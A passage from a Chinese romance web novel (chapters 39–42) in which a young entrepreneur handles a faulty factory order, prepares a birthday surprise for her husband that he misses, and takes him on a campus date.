好在赵茹还记得有个人等在楼下。 “行了,回头再问吧,那么大尊神在楼下呢。” 几人出门,果然看见一辆劳斯莱斯停在门口。 周庭朔透过车窗看到人,开门下车。 三个小姐妹很识趣,让夏声跟他走,她们自己打车回,反正离学校也不远。 夏声站着没动:“我都开车了,把你们送回去我再走。” 人家在楼下等就是要跟她一起回家的,金楠楠赶紧将她往车那边推。 “你快去吧,不用管我们。” 已经走过来的周庭朔跟她们点头示意,便看向夏声。 “没关系,你把车钥匙给我,我安排司机开你车送她们回去。” 后面的司机早已下车,正在旁边等着。 “您放心,我保证把大家安全送到楼下。” 司机大哥夏声也认识,之前就是他陪着练车,技术稳妥自然没问题。 她想想,打开包拿出钥匙递过去。 “车子在车场B区174号停车位。” 几个小姐妹冲她摆手:“行了,我们知道位置,你快走吧。” 回去路上,依然是周庭朔开车,夏声在副驾时不时看手机。 群里没一会又聊起来。 【赵茹:夏声,我收回刚刚在KTV那句话。】 【夏声:哪句?】 【沈习诗:别管啦,她已经被你老公强大的实力收买了。】 原来是司机大哥已经给她们送到,临走前还给了她们一张会员卡。 说是周庭朔刚刚在KTV结账时顺手办的,里面有储值,她们以后想去唱歌可以直接去。 又是贴心安排司机送她们,又是准备会员卡。 这谁能不迷糊。 【金楠楠:我也收回我的话,我给你介绍那些都叫什么优质男啊。】 【金楠楠:@夏声真诚发问,朝哪拜能找到这样的老公?】 【沈习诗:提问+1】 【赵茹:+1】 车子驶入地库,周庭朔将车停好,转头就看到她对着手机乐个不停。 “什么事这么高兴。” 夏声转过屏幕给他看。 “喏,你的金钱攻势很奏效,大家满意得不行,夸你夸得没边了。” 他对上她晶亮的眼睛,问:“那,你满意吗?” 第39章 第39章留我 当面说对他满意,只怕他得意太过。 夏声嘴上说勉勉强强,心里却相反,已经把接近满分的成绩给他打上。 甚至开始筹划,过几天要如何给他过个完美的生日。 礼物自然要用心,夏声苦恼很久,为此还特意私下问过周仪娇。 “我哥喜欢什么生日礼物?他不怎么过生日,对礼物好像也没什么兴趣。” “前几年我还给他准备呢,什么电子设备,名表,收藏品,他最多说句谢谢,表情都不带变的,这两年我也懒得送了。” 得知夏声想要给他准备惊喜,周仪娇提前给她打预防针。 “我祝你成功吧,但也别抱太大希望,他这人跟惊喜绝缘。” 这段时间,夏声公司本就忙,经常夜里八九点才回家。 准备惊喜还要避开周庭朔,一时没时间,只能暂且搁置。 上午十点,刚开完进度会,夏声正准备回办公室,工厂那边打来电话。 说是产品出了点问题。 老板在电话里含糊其辞:“其实也不是什么大事,就是定染颜色有一点偏差,其实看不大出来。” 真看不出,他就不会特地打电话告知。 夏声即刻开车赶往现场。 这次的订单就是艺术馆的那批文创周边,说好五天后交货,上一周都看过先制样品,明明那时候没问题。 这家代工厂也并不是夏声合作那家,艺术馆那边要做团扇和骨筷,她本已选定合适的厂家,但艺术馆自己提供了定制工厂。 说是以前有过一批产品,就是这家做的。 到工厂后,无论老板如何解释,夏声坚持先看产品。 骨筷问题倒不大,只是喷印一个小logo,外加一个原创印花,有问题的是团扇。 扇面上是减缩版的画稿,很多都是艺术馆藏品的二创,如果颜色有误差,将直接影响画面整体效果,更是更改了原作。 最明显的是一版北极光油彩,原本是蓝绿为主调,调和靛青和暗紫,结果印制过后,变成大面积黄绿,混合粉灰。 完全不是一回事,甚至两模两样。 老板自知理亏,同意将这版对应的产品全部重做,但是其他两版差别很小的,他主张就这样算了。 “大不了结款时,你扣我百分之十的尾款,咱们各退一步。” 夏声扔下扇面,言辞冷厉:“退不了,必须全部重做,这货只要有一点色差,我都不会收。” 大概知道她交货时间就在眼前,耽误不起,老板也有恃无恐。 “我后面还排着不少订单呢,也不能都为你一人服务啊。” “不能服务就算你违约,按照合同赔偿。” 老板没想到她态度如此强硬,似乎笃定她最后会松口,于是也不周旋。 “赔偿又怎么样,你不要我这批货,你也交不了订单,一样 赔违约金,真不知道你跟我较什么劲。” 夏声听出他就是不想改,不再多费唇舌,直接撂下话,她就这一个态度,让他备好违约金。 回去的路上,她紧急找出原来选定的工厂,联系对方能不能接个加急订单。 生产线排期不是说上就上,况且她给的工期太短,对方一时不肯答应。 这家工厂夏声考察过,质量肯定没问题,如果现在再去找新的供货商,时间来不及。 她只能开车去厂里再问问。 跟对方老板磋商一下午,终于见到转机,对方让她将所有产品要求,订单合同先发给他们。 现在必须分秒必争,夏声先打电话让秦莫把资料发过去,她则联系甲方那边,看能不能调整下订单交货期。 但越急越出岔子,半路她的车胎压突然报警,夏声下车查看,才发现不知什么时候,轮胎扎了颗钉子,旁边还划出一道口子,轮胎气泄露太多,她也不敢开。 打开双闪,夏声站在路边叫拖车。 艺术馆那边的经理一直说下场公展日期是确定的,货期不能推迟。 夏声拿着手机在路边踱步,一边等拖车,一边想办法。 身后有人按喇叭,夏声回头,安真从一辆帕加尼的副驾伸出脑袋。 “你在这干嘛呢?” 这么扎眼的跑车,想也知道车主是谁。 果然主驾的祁家骏偏过身来,跟她打招呼。 他看眼她的车,问:“坏了?” 安真想下车,祁家骏拽住她,没让她动,他们俩这会也赶时间。 夏声:“小问题,刚刚已经叫救援了,你们有事先走吧,拖车一会就到。” 不知是不是上次夏声电话里的话起作用,这次安真回来,祁家骏仿佛变了个人。 前阵子安真签的MCN不做人,在合同上做手脚,还想霸占她的账号,祁家骏得知,直接出手帮她跟机构解约。 甚至知道她想进娱乐圈,也着手给她铺资源,今天就是要介绍她跟圈内人见面。 简直是将“一切以安真为主”的准则贯彻到底。 安真犹豫:“你确定自己可以?” “确定,放心吧。” 两人走后,夏声在路边又等了大概十多分钟,拖车公司的人才来。 手续快办完时,路边停下一辆车。 夏声看着周庭朔的司机下来,猜到大概是刚刚祁家骏跟他说的。 “太太,周总安排我来接您。” 她急着去艺术馆,也没推辞,直接上车。 商谈过程不算太顺利,艺术馆经理怕担责,如何也不肯改交货日期。 最后夏声想出权宜之计:“这样,按照合同规定,交货日我们先交货品一半,接下来两天,我们保证全货交完。” “延期交货的货品,可以扣除相应货款,这个我们可以接受,也不影响你们公展正常开幕。” 她的方法最终得到认可,总算争取到两天时间。 周庭朔的司机将她送到后,一直等在门口,这会事情都谈完,也差不多到周庭朔下班时间。 车子载着她驶回明箴楼下。 周庭朔上车时,夏声正在通电话。 她将交货安排跟工厂那边定好,又再三嘱咐无论如何要保证第一天的货按时交付。 车子平稳行驶,周庭朔安静坐在一旁,听完通话全程。 “遇到困难了?” 夏声正在心里默算这一次要亏多少,越算越心痛。 “是啊,原来工厂的货质量不过关,临时重订简直要命。” 她将事情原委简略跟他说了一下,讲到最后,自己都苦笑起来。 “也不知道一天忙得什么,算下来反而亏本。” 正是下班拥堵时间,车子停在路口,夏声看着信号灯发呆。 周庭朔到底沉得住气,让她保持乐观。 “从长远看,并不算完全亏损。” “这一次,你保证订单质量,留存客户下次再合作的可能,亏损一次换长期合作,也是一种资源积累。” “况且,口碑是初创公司最重要的名片。” 信号灯由红变绿,夏声收回视线。 “是吗,那我就算没做错?” “嗯,你应对得很好。” 能在如此紧张的交货期面前,保持冷静和底线,迅速判断局势,再选择全盘推翻重做,足以看到她的能力与胆识。 他是真的认可,而不是着意安慰。 这个时候的夏声其实很需要肯定,做决定时她并没想太多,但事后复盘难免怀疑自己是否草率。 看出她神色缓和,周庭朔不忘补充。 “以你的成长速度,也许很快我的车就能配得上你的身价。” 上次夏声不肯开他的车,非要自己买,这会他提出来,倒像给她提振信心。 “那为了赚你那辆车,我也得努力多加班,争取吃几个大单,早日开上免费豪车。” 两人刚好到楼下,正要下车的周庭朔动作一顿。 突然有些后悔说刚刚那句话。 某人现在已是早出晚归,难得见人,再努力加班,岂不是面都要见不上。 夏声最近工作强度大,回家已是精力见底,每次进门只摸摸福宝的脑袋,就去洗漱睡觉,已经几天没陪它玩了。 大概她敷衍太多次,今天回家,福宝反而跑到周庭朔腿边撒娇。 夹着小奶音,轻轻几声喵语,透露着无尽地讨好。 夏声眼神睨着它,又看眼周庭朔。 “我不在的时候,你收买它了?” 周庭朔已换完鞋,长腿一抬走进客厅,垂眸看眼脚边的小跟班,浅浅勾唇。 “去找你妈妈去,她不高兴了。” 小家伙似乎听懂,停在路中间,回头看夏声。 粉嫩的鼻尖动动,似乎在嗅她的味道。 夏声上前两步抱起它,脸颊凑近质问:“好你个小猫咪,移情别恋这么快,是不是有人给你偷偷塞好吃的了?” 福宝小嘴巴动动,喵了声,身后有人替它回答。 “欲加之罪。” 其实夏声自己知道,是因为最近忽视了它,小猫咪在表达不满。 于是当晚,她补偿式陪着福宝畅玩一个多小时,它一个星期的运动量都直接达标。 时间差不多,夏声先回房洗澡,中途浴室门被敲响。 “你的电话。”门外是周庭朔的声音。 她刚刚手机放在床上,没带进浴室。 “李总。”他又补充。 是供货商那边的经理,夏声跟对方说过,无论订单上有什么问题,都可以随时联系她。 她匆匆拿浴巾裹住身体,将浴室门打开一条缝,接过手机。 湿润的空气遇冷凝雾,夏声站在门口的洗手池前,边接电话边擦镜子上的水汽。 通话时间很长,事无巨细。 夏声跟对面沟通完,才发现刚刚着急,拿浴巾的时候把睡衣带到地上,现在已沾湿一半。 她只好透过浴室门求助。 “周庭朔,能再帮我拿件睡衣吗?” 虽然周庭朔看似一直在处理手机上的信息,但浴室门后的身影,始终分散他一半注意力。 几分钟后,他回到门前。 夏声刚按下把手,另一股力量已经将门推开。 紧接着,人影踱进。 夏声退后两步抬眸,手默默按紧胸前的浴巾。 “你,进来干嘛?” 他面不改色,将她的睡衣挂到旁边。 “洗澡。” “哦,那我出去换。” 说话间,夏声抬手想拿睡衣,周庭朔身形挡在旁边,垂眸看她。 “我明天要出差。” “出差,去几天?”夏声拿不到睡衣,收回手抱在胸前。 “预计一周。” 她默默推算,七天后就 是他生日,这几天她自己在家还更方便准备生日惊喜,他回来正好也赶得上。 这样想着,不知不觉语气带上愉悦。 “好,我知道了。” 细枝末节的表情变化,周庭朔看到,下唇线绷紧。 “你很高兴?” 夏声抬头,却被他倾身上前的动作逼退两步,后腰抵在洗手池边缘。 还没等她回答,只觉脚下一空,人已被拦腰抱坐上台面。 此时,她的视线近乎与他持平,他缓缓挤进她**,直视她的眼睛。 这个姿势太具有侵占性,夏声慌忙按住浴巾翘起的下摆。 “我没高兴。” 他将双手撑在她两侧的台面,顺着她的话说:“那就是我出差,你不高兴?” 温热的吐息落在她唇畔,浴室还开着暖风,夏声只觉得身上愈发燥热。 她舔了舔有些干的唇,低声道:“就是,你早点回来。” 粉嫩的舌尖从她唇角划过,收回,像是无声的邀请。 下一秒,温热的吻贴上,柔软的舌被捕捉。 暗哑不成句的话,拼拼凑凑,从他口中滑出。 “那你还有一晚的时间,留我。” 第40章 第40章希望你喜欢 从床上沉沉醒来,房内果然只剩夏声自己。 人与人的体质确实不能一概而论,比如昨夜,有人累得昏睡不起,有人一大早就能神清气爽去赶飞机。 她解锁手机,看到他发来的消息。 【周庭朔:我已经安排好司机,这几天你用车就坐我那辆。】 车子换胎很快,她第二天抽空去取回来,就不再麻烦司机接送。 这一周,白天忙着工作,晚上还要在碧水华汀“加班”准备生日惊喜,夏声感叹人真是潜力无限。 甚至她还能抽出时间,跟安真见面。 安真说她一直加班,必须约她去做SPA放松一下,去去她身上的班味。 两人并排躺在床上,敷着面膜,安真说起前两天的事。 “祁家骏给我介绍个导演,让我去演一个文艺片的女三号,你说我该去吗?” 平时安真总是张扬自信,少有见她如此谨慎的时候。 这会夏声听着店里的轻音乐,思绪神游,突然听她开口,没反应过来。 “你不是一直想进娱乐圈,为什么不去?” 耳边传来叹气声:“主要这片子主演都是一线流量,我一个网红突然空降,到时候少不了挨骂。” 美容师正给她们做肩颈护理,夏声转头看她。 “挨骂大多是因为演技差,爱营销,蹭流量,反正我没见哪个专注演技的演员挨骂的。” “你又不是去混的,这么好的机会,不抓住下次未必还轮得到你。” 其实这次祁家骏给她介绍的角色,明显做过筛选,角色性格跟她相性很高,演起来相对不吃力。 “你要是怕演不好,就马上找老师练演技,研磨剧本提前进角色。” “反正我支持你去试试。” 安真跟夏声是完全不同的两人,她虽然看起来比夏声潇洒恣意,实际上内里更敏感,做决定也更依赖外界的声音。 她对上夏声鼓励的眼神,点头。 “还得是你,果断坚决,从不内耗。” 做完SPA,两人买了些烘焙用品,去碧水华汀。 周庭朔的生日礼物还差最后的蛋糕,安真去年拍过一次烘焙测评视频,有些基础,夏声刚好可以跟她学。 其实基础的蛋糕胚,打奶油都不难,只不过裱花做起来费事,也考验手艺。 徐姐将家里厨房让出来,夏声上手快,反复练习几次就做得有些模样。 两人将练手的蛋糕切开,分给徐姐品尝,得到第一个好评。 “太太这么用心,先生到时候一定很高兴。” 安真将刚拍的成品图发到三姐妹小群。 【周仪娇:过分,怎么不带我一个!】 夏声切下一块递给安真:“对了,你要拍戏的话,是不是以后就不能放肆吃了?” 安真挖了一大口,塞进嘴里:“能让我上镜好看,一天只喝凉水都行。” 看着她圆鼓鼓的侧脸,夏声竖起大拇指。 “你有这样的决心,何愁不成功。”她放下蛋糕,从旁边拿过一个笔记本翻开,“来,先给我签个名,以后你真成大明星,我就是你最大粉头。” 这么一说,安真一下想起自己那一手“艺术”字体,顺手拿笔写两个字,瞧了半晌,捏捏鼻梁。 “出师不利啊……” 周仪娇知道他们在碧水华汀,并且她哥也不在,很快赶来。 进门就开始抗议:“下次你们聚会再不叫我,就不要发照片馋我,不然我将莽捐一个月零花钱!” “还有这好事,捐我行不,我先预定。”安真刚逗完她,就被周仪娇抹了一指头奶油。 她赶紧讨饶:“哎呀,我错了大小姐。” 夏声笑着取来刀叉,给周仪娇切了一块。 周仪娇边吃边问:“对了,嫂子你礼物准备好了吗,这个月我哥安排的消费任务你还没完成吧。” “要不拿他卡给他买礼物,一举两得。” 福宝一直在脚边打转,小猫咪不能吃太多奶油,夏声蹲下给它尝了一点。 等哄走福宝,她才起身:“已经准备完了。” 另外两人都好奇是什么惊喜,撺掇夏声给她们瞧瞧。 夏声手机里有照片,翻出来给她们看。 周庭朔的书房,他说过外人不能进,她记得。 “嫂子,你还真是投其所好,我哥一天就爱工作,你就把书房给他弄这么好。” 她送的礼物,不是一件,而是一房间。 放下手机,安真不住咋舌。 “你就不怕他书房待着太舒服,不回卧室?” 夏声冲她皱皱鼻尖:“你能不能正经点。” 周仪娇只顾感慨:“跟你一比,从前我送那些东西我哥不稀罕也可以理解了。” “对了,后天就是我哥生日,他确定出差回得来?” “应该吧。” 其实她也怕从中出纰漏,于是生日前一天,特意又在跟他通电话时问过。 “你明天回得来吗?” 彼时,周庭朔刚结束一天工作,在回酒店的车上。 “嗯,机票已经订好了,大概晚上十点落地。” 夏声对着手表卡时间,十二点前他肯定回得来,保险起见十点前她就做好准备。 “好,回来路上注意安全。” 这次出差在港城,周庭朔已尽力安排行程,缩短时间。 此刻看着车窗外的繁华霓虹,听着电话那头她轻柔的嗓音,第一次急切地想提前结束,马上回去。 “明天航班晚,你困了可以先睡,不必刻意等我。” 夏声嘴上答应,实际第二天一早就在为晚上规划安排。 当天晚上,她先将蛋糕做好放进冰箱,又把长寿面的食材提前买好。 虽然自己厨艺不佳,但跟徐姐学煮碗还算像样的面,倒是不难。 这个生日,所有东西她都没有假他人之手,是完全自己的心意。 一切准备就绪,差不多十点。 夏声抱着福宝在客厅等着,今天福宝也有新装扮,一顶小小的生日皇冠。 她实在想象不到周庭朔带生日帽的样子,于是准备吹蜡烛时,让福宝替它爸爸效劳。 时钟滴答滴答,时间好像过得格外慢。 夏声等得无聊,趴在中岛台,不停翻看手机。 按理来说,他十一点应该就能到家,但又过半小时,门还是没动静。 实在坐不住,夏声站到窗边向下看。 其实也未必看得到什么,但等待实在煎熬,她甚至想,是不是出了什么意外? 虽然理智告诉她,应该不会。 但夏声犹豫一会,还是拿起手机,拨去电话。 机械冰冷的提示音响起:您所拨打的电话已关机。 她又搜索港城今日天气,无风无雨,应该也不会有航班延误情况。 眼看时间马上到十二点,夏声只好压下心底的胡乱猜测,先将蛋糕拿出来摆好,再起火烧水。 西红柿、蘑菇,细致切丁,青菜洗净下锅,每做完一样,她都在等门开的声音。 直到面出锅上桌,依然无人归来。 电话拨过去还是关机,夏声独自坐在桌前,除了等也不知能做什么。 她咬着指尖,看指针一寸寸挪,不安开始升温,缓慢烧灼她的心。 直到时针与分针在最上方重合,零点已至。 夏声再也等不下去,只想知道周庭朔到底发生了什么。 焦虑中突然想起,上次周庭朔给过她助理的电话,夏 声也顾不得现在已是深夜,只想确认他到底在哪,安不安全,于是找到号码便拨过去。 等待音响了几声,随后被接通。 夏声:“何助理吗,你跟你们周总现在在一起吗?” 何归压声:“是,今天临时出了点状况,我们改签了航班,现在刚落地。” “周总这两天太累,正在后排休息,您要他接电话吗?” 得知他没事,悬着的心先落地。 “不用。” 大脑像是失去处理信息的能力,短暂空白几秒,夏声默默咽下还未能消化的情绪,挂断电话。 空荡的客厅,她看眼桌上已经冷掉的面,和快要化掉的蛋糕,舌根生出麻木的涩。 说不失望是骗自己。 明明她再三确认,他都承诺会回来。 失约就算了,今天是他的生日,有特殊情况回不来,难道不该跟她说一声吗? 起码她能在电话中,说句生日快乐。 现在这算什么呢? 她一个人的祝祷,狂欢? 另一边,周庭朔下了飞机,卸去一身疲惫靠在车里闭目养神。 这一次赴港是为谈新的合作,生物制药想入港并不容易,港方一直处于强势,几天磋谈下来劳心劳力。 就在今天最后一次商谈细则时,对方还临时提出附加条件。 为了应对突发状况,他不得不重新让团队评估项目风险,最后一刻才敲定合作。 也因此,耽误了航班,只能改签。 回去路上,他隐约听到何归在通话,但身心倦怠也无意留心内容。 直到车子开到碧水华汀,他看眼时间,已经凌晨一点。 轻手轻脚刷开密码锁,客厅果然黑着灯。 他摸索到旁边的开关,灯光大亮那一刻,他收手的动作顿挫。 中岛台上,无人动过的长寿面与蛋糕还在原位,只是原本布置的生日装饰都已扯下。 他脱下外套,几步走近,才看到蓝色蛋糕体上写着他的名字。 周庭朔抿唇,眼神无声闪烁,思考。 直到这一刻,他才恍然想起,刚刚过去的那天好像是自己的生日。 回头,木质地板上,放置着一排红色箭头。 他下意识循着那方向,走到书房门前。 手搭在门把上,缓缓推开,等看清眼前的一切,他压着的喉咙滚了滚。 房间并没有大变化,却又处处是变化。 办公桌下,纯白的智能加湿器,办公椅上深灰色的丝绒腰撑,置物架上最新款的蒸汽眼罩,靠窗位置的豪华按摩椅…… 走到电脑桌前,上面放着一张黑色烫金的贺卡。 翻开,里面是夏声的笔迹。 「工作固然重要,但偶尔偷懒也没事哦,希望这些“小惊喜”都有派上用场的时候,也希望你喜欢,生日快乐。」 贺卡旁边是一只崭新的钢笔,纯黑色笔体,触手柔滑温润,宛若一只上好玉胚。 这个牌子的钢笔提供定制服务,他旋开笔盖,果然在内里边缘看到他的名字缩写。 周庭朔摩挲着贺卡上的字迹,神色变得柔和。 他调转方向,脚步由缓到急。 此刻,他很想见制造这一切惊喜的人,可当他回到主卧门口,才发现。 门从里面锁了。 40-50 第41章 第41章由她支配 晚上情绪不好,早上起床后,不出所料地脑袋昏沉。 夏声这一夜说不上是睡,浑浑噩噩半梦半醒,凌晨客厅里的声音,她其实全都听到了。 这会,去浴室用冷水洗过脸,才算清醒些。 看眼时间已经上午十点多,手机上有几条工作信息。 她低着头回复,刚推开门,撞上一堵肉墙。 一双手扶上她的手臂:“小心。” 夏声抬头,对上周庭朔温润和熙的眸光。 她的表情冷淡:“你没上班。” 话音刚落,似乎不想与他多言,便侧身从他身旁走过。 客厅里,徐姐见她出来,才将早餐端上桌。 “先生一直等您起来呢。” 夏声端起桌边的牛奶,一口气喝完,又拿片吐司就准备离席。 “哎,怎么吃这么少?”徐姐目光看向周庭朔。 对方定了定神,无声看着夏声离开的身影。 等夏声换完衣服出门,周庭朔已收拾齐整,站在门口。 她沉默走过去换鞋,明明玄关空间很大,他却非要站在她旁边。 两人肩膀不可避免地碰到。 浅灰色麂皮长靴,穿起来有些费事,夏声转身坐在鞋凳上,看着杵在自己面前的一双长腿,心烦。 “你穿好了能让让吗?” “或者你先走。” 头顶不急不躁地落下一声“嗯”,人向旁边挪开两步。 夏声闷头扯靴子侧面的拉链,越急越拉不开。 一声叹息传来,另一只手握住她急躁的手指:“夏声,你生气了可以跟我说。” 她是生气,但没有撒脾气的契机。 昨天夜里,夏声思来想去,虽然郁结难消,却也没办法完全将事归结于他的错。 生日不是他要过的,自己也确实没有提前跟他约定要一起庆祝,他出差遇到特殊情况,也是不得不改签。 虽然没及时告诉她是不对,但前一天,他也说过半夜航班较晚,让她不必等着。 那么他改签时,默认太晚她已经睡了,没有再打来电话打扰,也说得通。 所以,真理论起来,又不占理。 拉链已顺开,夏声穿好鞋子,转身开门。 “没生气。” 电梯里,两人并排而立,中间隔着一个人的距离。 门板是光亮的金属质,恍若镜子般恰好能映出两人身影,夏声偏过头,看向另一侧。 旁边的周庭朔沉然开口。 “昨天的蛋糕和面,我都吃过了,很好吃。” “还有书房的礼物,我也很喜欢。” 夏声硬着嗓子,仍不肯看他:“都过十二点了,吃了还有什么意义。” 电梯到达负一层,夏声先行出去,快步走到自己车旁边。 刚拉开车门,被身后的一只手反向推回去。 车门关闭,发出“砰”的一声。 “夏声,我们谈谈。” 她固执地不肯回头,周庭朔只好握住她的手臂,转过她。 “昨天是我不好,没来得及赶回来跟你一起庆祝,辜负你的心意,我道歉。” 他牵起她垂在身侧的手,轻轻摩挲她的手心,眼睛始终看着她低垂的眼睫。 “这些年我很少过生日,也没想到有人会这样为我花心思。” “但你这样做,我很高兴。” 指腹带着他的体温,不断熨贴她繁杂的心绪,夏声抿着唇抬眼。 对上他深邃的目光,撇撇嘴。 “谁花心思了,自作多情。”她自挽颜面,“不就随便准备一下。” “嗯,是我自作多情,总之谢谢你。” 昨天夜里,他站在反锁的房门前,想过很多种她赌气会有的反应。 任凭谁这样用心准备的惊喜被破坏,心情也不会好。 可此时,她也只是别扭几句话,没找他理论,没给他难堪。 太过理智和体面,却让他心底生出更多愧疚。 “总而言之,我有错,你想要什么补偿,我都同意。” “你都同意?” 夏声表情松解,盯着他的眼睛。 得到他的肯定回答,夏声点头:“那你可不能反悔。” 夏声的要求听起来很简单,要他空出一整天时间,完全由她支配。 不过最近,夏声自己也忙,等到这个承诺兑现的时候,已经是半个多月后。 当天,夏声醒得比平时早。 腰间虚搭着一只手,她挪动身体转过身,看到周庭朔侧睡的沉静模样。 漂亮的唇合拢轻抿,长而密的睫毛如同一排浓黑的扇羽,栖在眼下,夏声抬手拨了拨,看到他薄而轻的眼皮下,眼珠轻轻转动。 紧接着,作乱的手指被拉下,固定在他胸前。 “不睡了?” “嗯,今天 时间宝贵,快起来。” 他缓缓睁眼,看着她兴奋又期待的表情,勾唇。 “你今天到底准备做什么,我似乎有些不好的预感。” 夏声很快支身下床,留下一个潇洒的背影。 “后悔也来不及了哦,你要是临阵退缩,罪加一等。” 怕罪加一等的周庭朔跟她前后脚进浴室,她在旁边刷牙,看他对着镜子在下颌处涂抹剃须泡沫。 清爽的海盐柠檬,是她熟悉的味道。 夏声快速漱完口,抬头刚好看到他拿起剃须刀。 她从没见过男人剃须,周庭朔的下巴总是干净清爽,远比她自己做毛发管理的手艺要高。 正准备动手的男人,对上她热切的目光,微微挑眉。 “好奇?要试试吗?” 夏声手指蜷动,接下剃须刀。 先是扶住他的下巴打量,再想从哪下手,只是身高差让她不得不抬头动作,有些费力。 看出她的不便,周庭朔弯身将她抱上洗漱台。 旁边剃须泡的金属罐子被碰倒,夏声分心去扶,被他止住动作。 “再不动手,泡沫要消了。” “哦。” 夏声手指捏住他的下巴,微微扭转方向,剃须刀贴住脸颊,从边缘慢慢向下。 白色的泡沫聚集在刀锋一侧,夏声表情认真,动作小心,似乎十分怕手抖出错。 周庭朔双手撑在她身侧,垂眸看着她因紧张而咬唇的动作。 浴室内十分安静,只有刀片割断毛发的刮擦声,他甚至能听到她特意放缓的呼吸。 最后一下收刀,夏声开始检验成果,指腹从他脸颊一寸寸抚过,经过唇边时,突然被他侧头轻吻一下。 她顿住动作,刚要收回手,被他拉住手腕绕放到他腰后。 周庭朔将下巴搁在她肩头,微微磨蹭。 细密的摩擦触感带着痒意,从肩膀转到脖颈处,夏声不住地向后躲。 耳边传来他低沉的嗓音:“看来,还不够干净。” “以后要多加练习。” 两人在浴室厮磨了好一阵才出门。 今天周庭朔的装扮皆由夏声搭配。 初春季节,夏声将他那些板正到无趣的西装衬衫一一摒弃,在他仅有的几种休闲款衣服中挑了一身,杏白色高领针织衫,配黑色休闲长裤,外套是跟她类似款的短款工装衣。 头发也没特意打理,清爽的散在额前。 夏声坐上自己车子的驾驶位,出发前特意指示。 “今天必须轻松无负担,你不许板着个脸。” 说好由她安排,周庭朔云淡风轻地勾起嘴角,全部配合。 她开着车,载他驶入京大校园。 两人刚领证时,每次周庭朔送她来学校,都会被要求停在校门一个路口之外。 只有那次带福宝回家,才同她一起进校园,还是走了最僻静的路线。 那时候,她是想将他们的关系隐于人后。 而现在,周庭朔唇边的笑,无声漫开。 两人停好车,夏声拿了文稿准备去办公室。 她今天恰好要去交毕业论文二版定稿,顺便跟导师聊一下。 “你在这等我一会,应该很快。” 周庭朔靠站在车旁,很有耐心的样子。 “不急。” 夏声论文早在前两天就发过电子版,这次来是跟老师最后沟通下细节,用得时间不长,还算顺利。 她下楼,远远看见车子旁边站着的身影。 以及——围着他要联系方式的女同学。 果然,人都是视觉动物,今天的周庭朔表情随和,姿态闲散,更容易招蜂引蝶。 停车场对面就是活动中心,来来往往的学生不时就会向他那边看。 夏声瞧了会热闹,刚想去解救他,身后有人叫她的名字。 是许久没见的陈远泽。 他似乎是很远跑来,胸膛剧烈起伏着:“夏声,还好我没看错。” “你很久没回学校了吧,来交论文?” “嗯。” 站在她面前的陈远泽平复下呼吸,弯起眼笑得明朗。 “我听说你自己创业了,很厉害嘛。”他挑挑眉,用轻松地语气开口,“怎么样,夏总经理要不要考虑聘用下老同学?” 夏声创业的事只寝室的姐妹知道,想必他是从那听说。 她坦言:“我那只是小公司,你这么好的条件,当然得签到大企业。” 只有陈远泽知道,如果她需要,他可以直接抛弃名企的offer,同她一起拼闯。 但事实是,她不需要。 那条跨年朋友圈,他并没错过,看得仔仔细细。 他没有点赞,没有评论,便是给自己留着后路,让彼此能退到合适而不尴尬的位置。 “那等你以后办成世界五百强,我来跳槽你可别拒绝。” 两人说话间,谁也没注意到有人走近。 直到周庭朔上前牵上夏声的手,礼貌冲陈远泽微笑。 “我太太的公司现在还规模不大,不过你既然是她的同学,如果属意五百强企业,倒可以来我公司。” 陈远泽的视线落在两人交握的双手,随后迅速收回。 眼中的笑意倒退,他勉强点头示意,表示自己并不需要。 男人之间,对同性的竞争和敌意有着天然嗅觉,他们彼此心照不宣,无声较量。 “那夏声我先走了,反正我们都留在京市,以后有时间再聚。” 说完,陈远泽扬长而去。 夏声身侧的手被收紧,耳边是周庭朔情绪不明的声音。 “他就是那个你拒绝过的同学?” 第42章 第42章约会 夏声轻咳一声:“就是普通同学,你别多想。” 不过片刻,她又像想起什么,扬起下巴看着周庭朔。 “当然,原本他可以不是普通同学的,只不过某人半路走捷径,快了一步。” 说完举起右手,指指无名指上的戒指。 她的语气轻俏,故意把话说得模棱两可,好像从前自己真能跟别人生出什么故事。 周庭朔自然听出她的弦外之音,倒乐于配合。 “那我该庆幸,自己运气不错。” 已经办完正事,夏声心情放松,准备正式进入今天主线任务。 她清清嗓,一本正经:“你怎么不问问我带你来学校做什么?” “嗯。”周庭朔淡笑,“我们来做什么?” 夏声眼神看向远处,带着憧憬:“人人都说学生时期的恋爱最纯净美好,我没体验过,你也没有。” “今天咱们来补补课。” 两人从相亲,到结婚,效率极高,就像解一道数学题,只读过题干就给出答案,没有任何细节过程。 从前夏声不在意,但心境的变化不知不觉,见缝插针。 现在,她觉得某些被忽略的过程好像也很重要。 “记住,你今天要扮演好男大的角色。” 夏声拉着他向规划好的路线行进。 他眼里含笑,看向她:“学生吗?我尽量。” 周庭朔五官明朗,线条轮廓清晰,今天夏声刻意没让他打理头发,松散清爽的额发刚好中和气质。 再加上他身形高挑,皮肤又白,初春的阳光打在他身上,还真有点清纯男大的味道。 “对自己有点信心,刚刚不还有很多学妹找你要联系方式吗?” 夏声的视线从他的脸落到他的发顶,白绒绒的柳絮刚好飘过,停留在他发间。 她招招手 :“你低头,有东西。” 周庭朔依言弯腰,夏声抬手帮他摘掉白絮。 他的发丝略硬,穿过指尖触感格外清晰,夏声看着眼前乌黑的发顶,抿着坏笑突然生出恶趣味。 于是像往常摩挲福宝脑袋那样,略微用力揉了两下。 下一秒,手腕被捉住,他直起身,眼神了然。 夏声面不改色,理直气壮:“柳絮有点多,现在好了,不用谢。” “嗯。” 今日的周庭朔,谨守承诺,只管纵容。 他将手机拿出来,递到她面前。 夏声不解:“干嘛?” “可以检查,我刚刚是否加了无关的人。” 夏声噗嗤笑出声,将手机推回去,周庭朔真要有闲情加学生妹聊天,她才要奇怪呢。 路过情人坡的时候,她指指一眼望不到头的台阶,看向周庭朔。 “据说能背着女朋友一口气走到顶的,才算真爱。” 这台阶有几百个,一口气爬上去就需要点体力,何况还背着人。 周庭朔走上前,抬头打量一眼,回身冲她伸出手。 “你真要背?”夏声问。 “不是要我融入角色,来。”他看眼自己的肩膀,“试试。” 动起真格,夏声又有些不好意思,大庭广众让他背上去,总觉得有些羞耻。 不过也没给她反悔的机会,周庭朔牵住她的手搭在他肩上,弯身屈膝,毫不费力就将她背起来。 夏声视线骤然升高,她双臂搂住他的脖子,趴在背上。 他上台阶的步伐很稳,一下下似有节奏般,夏声能感受到自己渐渐加重的心跳,像在与之应和。 路过树荫,两人的影子在台阶上斑驳交错,她的心事也如同地上的光斑,温暖轻盈。 